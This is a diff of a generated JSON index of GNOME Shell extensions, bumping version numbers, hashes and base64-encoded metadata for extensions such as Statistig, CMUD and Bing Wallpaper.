     "42": {"version": "1", "sha256": "0nwsiw4ys06ck7xpzf0icya502nxr8r72lvbqbn09y6vp3fwyl3m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbXBsZXRlbHkgZGlzYWJsZXMgYWxsIHRvdWNocGFkIGdlc3R1cmVzIGluIEdOT01FIFNoZWxsIG9uIFdheWxhbmQgLSBZRVMsIGluY2x1ZGluZyB0aGUgMy1maW5nZXIgc3dpcGVzISIsCiAgIm5hbWUiOiAiRGlzYWJsZSBHZXN0dXJlcyBXYXlsYW5kIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3NhbGFkZW5lcy9kaXNhYmxlLWdlc3R1cmVzLXdheWxhbmQiLAogICJ1dWlkIjogImRpc2FibGUtZ2VzdHVyZXMtd2F5bGFuZEB6b25ldHJhIiwKICAidmVyc2lvbiI6IDEKfQ=="},
@@ -9231,8 +9259,8 @@
     "48": {"version": "1", "sha256": "09km4n04v7kzhg6s8j97k57fllrhf9lyg620njs6f2qrqgv80rcm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUgU2NyZWVuIFNoYXJpbmcuIFVzZWZ1bCBmb3Igc29mdHdhcmUgS1ZNcyB0aGF0IGFsd2F5cyBzaG93IHNjcmVlbiBzaGFyaW5nIGxpa2UgRGVzayBGbG93LCBJbnB1dC1MZWFwLCBCYXJyaWVyLCBldGMuLi4iLAogICJkb25hdGlvbnMiOiB7CiAgICAiYnV5bWVhY29mZmVlIjogInR5dnNtaXRoIiwKICAgICJnaXRodWIiOiAidHl2c21pdGgiLAogICAgImtvZmkiOiAidHl2c21pdGgiLAogICAgInBheXBhbCI6ICJ0eXZzbWl0aCIKICB9LAogICJuYW1lIjogIkhpZGUgU2NyZWVuIFNoYXJpbmciLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS90eXZzbWl0aC9oaWRlLXNjcmVlbi1zaGFyaW5nIiwKICAidXVpZCI6ICJoaWRlLXNjcmVlbi1zaGFyaW5nQHR5c21pdGgubWUiLAogICJ2ZXJzaW9uIjogMQp9"}
   }}
 , {"uuid": "statistig@mustafaaycll.github.io", "name": "Statistig", "pname": "statistig", "description": "Native-like resource monitoring", "link": "https://extensions.gnome.org/extension/8071/statistig/", "shell_version_map": {
-    "47": {"version": "3", "sha256": "1lbm13nsncfyks6b63v6n3pzb5xxpriwfxk9h2j14mjj62fwz0p1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5hdGl2ZS1saWtlIHJlc291cmNlIG1vbml0b3JpbmciLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzdGF0aXN0aWdAbXVzdGFmYWF5Y2xsLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiU3RhdGlzdGlnIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN0YXRpc3RpZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbXVzdGFmYWF5Y2xsL3N0YXRpc3RpZyIsCiAgInV1aWQiOiAic3RhdGlzdGlnQG11c3RhZmFheWNsbC5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMwp9"},
-    "48": {"version": "3", "sha256": "1lbm13nsncfyks6b63v6n3pzb5xxpriwfxk9h2j14mjj62fwz0p1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5hdGl2ZS1saWtlIHJlc291cmNlIG1vbml0b3JpbmciLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzdGF0aXN0aWdAbXVzdGFmYWF5Y2xsLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiU3RhdGlzdGlnIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN0YXRpc3RpZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbXVzdGFmYWF5Y2xsL3N0YXRpc3RpZyIsCiAgInV1aWQiOiAic3RhdGlzdGlnQG11c3RhZmFheWNsbC5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMwp9"}
+    "47": {"version": "4", "sha256": "0jyxhvg8lby0jbfgcl50nhqw9by6slyysgbac9sfid600kl3km0m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5hdGl2ZS1saWtlIHJlc291cmNlIG1vbml0b3JpbmciLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzdGF0aXN0aWdAbXVzdGFmYWF5Y2xsLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiU3RhdGlzdGlnIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN0YXRpc3RpZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbXVzdGFmYWF5Y2xsL3N0YXRpc3RpZyIsCiAgInV1aWQiOiAic3RhdGlzdGlnQG11c3RhZmFheWNsbC5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogNAp9"},
+    "48": {"version": "4", "sha256": "0jyxhvg8lby0jbfgcl50nhqw9by6slyysgbac9sfid600kl3km0m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5hdGl2ZS1saWtlIHJlc291cmNlIG1vbml0b3JpbmciLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzdGF0aXN0aWdAbXVzdGFmYWF5Y2xsLmdpdGh1Yi5pbyIsCiAgIm5hbWUiOiAiU3RhdGlzdGlnIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnN0YXRpc3RpZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbXVzdGFmYWF5Y2xsL3N0YXRpc3RpZyIsCiAgInV1aWQiOiAic3RhdGlzdGlnQG11c3RhZmFheWNsbC5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogNAp9"}
   }}
 , {"uuid": "caplang-indicator@anasgets111.github.com", "name": "CapLang Indicator", "pname": "caplang-indicator", "description": "Sets the Language indicator in the status area to uppercase. a fork from original Buffersolve Uppercase Language Indicator extension.", "link": "https://extensions.gnome.org/extension/8073/caplang-indicator/", "shell_version_map": {
     "45": {"version": "1", "sha256": "0bv4kz8y3wd4fipmw5mzw095vsm46ha0976av7iwx9af3skc0b8w", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNldHMgdGhlIExhbmd1YWdlIGluZGljYXRvciBpbiB0aGUgc3RhdHVzIGFyZWEgdG8gdXBwZXJjYXNlLiBhIGZvcmsgZnJvbSBvcmlnaW5hbCBCdWZmZXJzb2x2ZSBVcHBlcmNhc2UgTGFuZ3VhZ2UgSW5kaWNhdG9yIGV4dGVuc2lvbi4iLAogICJuYW1lIjogIkNhcExhbmcgSW5kaWNhdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FuYXNnZXRzMTExL1VwcGVyY2FzZS1MYW5ndWFnZS1JbmRpY2F0b3IiLAogICJ1dWlkIjogImNhcGxhbmctaW5kaWNhdG9yQGFuYXNnZXRzMTExLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMQp9"},
@@ -9241,10 +9269,10 @@
     "48": {"version": "1", "sha256": "0bv4kz8y3wd4fipmw5mzw095vsm46ha0976av7iwx9af3skc0b8w", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNldHMgdGhlIExhbmd1YWdlIGluZGljYXRvciBpbiB0aGUgc3RhdHVzIGFyZWEgdG8gdXBwZXJjYXNlLiBhIGZvcmsgZnJvbSBvcmlnaW5hbCBCdWZmZXJzb2x2ZSBVcHBlcmNhc2UgTGFuZ3VhZ2UgSW5kaWNhdG9yIGV4dGVuc2lvbi4iLAogICJuYW1lIjogIkNhcExhbmcgSW5kaWNhdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FuYXNnZXRzMTExL1VwcGVyY2FzZS1MYW5ndWFnZS1JbmRpY2F0b3IiLAogICJ1dWlkIjogImNhcGxhbmctaW5kaWNhdG9yQGFuYXNnZXRzMTExLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMQp9"}
   }}
 , {"uuid": "CMUD@sonichy", "name": "CMUD", "pname": "cmud", "description": "Display uptime, cpu, memory, upload, download on GNOME taskbar.", "link": "https://extensions.gnome.org/extension/8074/cmud/", "shell_version_map": {
-    "45": {"version": "6", "sha256": "0iq1rf5h93knwvzcfr2g5hgdgssq9vaiwpzdi90siz6pkcbjbp5h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogNgp9"},
-    "46": {"version": "6", "sha256": "0iq1rf5h93knwvzcfr2g5hgdgssq9vaiwpzdi90siz6pkcbjbp5h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogNgp9"},
-    "47": {"version": "6", "sha256": "0iq1rf5h93knwvzcfr2g5hgdgssq9vaiwpzdi90siz6pkcbjbp5h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogNgp9"},
-    "48": {"version": "6", "sha256": "0iq1rf5h93knwvzcfr2g5hgdgssq9vaiwpzdi90siz6pkcbjbp5h", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogNgp9"}
+    "45": {"version": "8", "sha256": "044d3y1744rjp6njgkhj3qzp2vc3id1b3v8dh6zxs3q4kh34i4pl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogOAp9"},
+    "46": {"version": "8", "sha256": "044d3y1744rjp6njgkhj3qzp2vc3id1b3v8dh6zxs3q4kh34i4pl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogOAp9"},
+    "47": {"version": "8", "sha256": "044d3y1744rjp6njgkhj3qzp2vc3id1b3v8dh6zxs3q4kh34i4pl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogOAp9"},
+    "48": {"version": "8", "sha256": "044d3y1744rjp6njgkhj3qzp2vc3id1b3v8dh6zxs3q4kh34i4pl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiRGlzcGxheSB1cHRpbWUsIGNwdSwgbWVtb3J5LCB1cGxvYWQsIGRvd25sb2FkIG9uIEdOT01FIHRhc2tiYXIuIiwKICAibmFtZSI6ICJDTVVEIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NvbmljaHkvR05PTUVfZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJDTVVEQHNvbmljaHkiLAogICJ2ZXJzaW9uIjogOAp9"}
   }}
 , {"uuid": "dashtopanelmenu@github.com.howbea", "name": "Dash to Panel Menu", "pname": "dash-to-panel-menu", "description": "Dash to panel menu. Fork from Favorites Menu by cvine. https://extensions.gnome.org/extension/115/favorites-menu/", "link": "https://extensions.gnome.org/extension/8075/dash-to-panel-menu/", "shell_version_map": {
     "46": {"version": "4", "sha256": "0v2y5zsgbr79mnmaphdqrjvg3skvn7azk0982ajgryl3galgj50m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRhc2ggdG8gcGFuZWwgbWVudS4gRm9yayBmcm9tIEZhdm9yaXRlcyBNZW51IGJ5IGN2aW5lLiBodHRwczovL2V4dGVuc2lvbnMuZ25vbWUub3JnL2V4dGVuc2lvbi8xMTUvZmF2b3JpdGVzLW1lbnUvIiwKICAibmFtZSI6ICJEYXNoIHRvIFBhbmVsIE1lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9ob3diZWEvRGFzaC10by1QYW5lbC1NZW51IiwKICAidXVpZCI6ICJkYXNodG9wYW5lbG1lbnVAZ2l0aHViLmNvbS5ob3diZWEiLAogICJ2ZXJzaW9uIjogNAp9"},
@@ -9258,10 +9286,10 @@
     "48": {"version": "1", "sha256": "0ipjdlvg0s0kh27db91a8wbf7s2d9gd257cgh8ygymp2qmfcmmqp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgeW91ciBzc2ggcHJvZmlsZSBjb25maWcgbGlzdCBvbiBwYW5lbCBhbmQgcnVuIHNzaCBvbiB0ZXJtaW5hbCIsCiAgIm5hbWUiOiAiU1NIIFByb2ZpbGUgTGlzdCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5zc2hsaXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FtYXJ1bGx6L3NzaGxpc3QiLAogICJ1dWlkIjogInNzaGxpc3RAZXh0ZW5zaW9uLmFtYXJ1bGx6LmNvbSIsCiAgInZlcnNpb24iOiAxCn0="}
   }}
 , {"uuid": "BingWallpaper@sonichy", "name": "Bing Wallpaper", "pname": "bing-wallpaper", "description": "Change wallpaper of GNOME with Bing wallpaper on one click. This extension is not affiliated, funded, or in any way associated with Microsoft and Bing.", "link": "https://extensions.gnome.org/extension/8081/bing-wallpaper/", "shell_version_map": {
-    "45": {"version": "3", "sha256": "1syq9d9fs1b87l2pfwxh22gwcqh8vzjzzjf3fpiyj7d531ddyfdk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiAzCn0="},
-    "46": {"version": "3", "sha256": "1syq9d9fs1b87l2pfwxh22gwcqh8vzjzzjf3fpiyj7d531ddyfdk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiAzCn0="},
-    "47": {"version": "3", "sha256": "1syq9d9fs1b87l2pfwxh22gwcqh8vzjzzjf3fpiyj7d531ddyfdk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiAzCn0="},
-    "48": {"version": "3", "sha256": "1syq9d9fs1b87l2pfwxh22gwcqh8vzjzzjf3fpiyj7d531ddyfdk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiAzCn0="}
+    "45": {"version": "4", "sha256": "1a541kknkp9ah0vd0cbh9rxipal93v301vv1cv94wmx52h9i746n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "46": {"version": "4", "sha256": "1a541kknkp9ah0vd0cbh9rxipal93v301vv1cv94wmx52h9i746n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzb25pY2h5IiwKICAiZGVzY3JpcHRpb24iOiAiQ2hhbmdlIHdhbGxwYXBlciBvZiBHTk9NRSB3aXRoIEJpbmcgd2FsbHBhcGVyIG9uIG9uZSBjbGljay4gVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggTWljcm9zb2Z0IGFuZCBCaW5nLiIsCiAgIm5hbWUiOiAiQmluZyBXYWxscGFwZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc29uaWNoeS9HTk9NRV9leHRlbnNpb24iLAogICJ1dWlkIjogIkJpbmdXYWxscGFwZXJAc29uaWNoeSIsCiAgInZlcnNpb24iOiA0Cn0="},
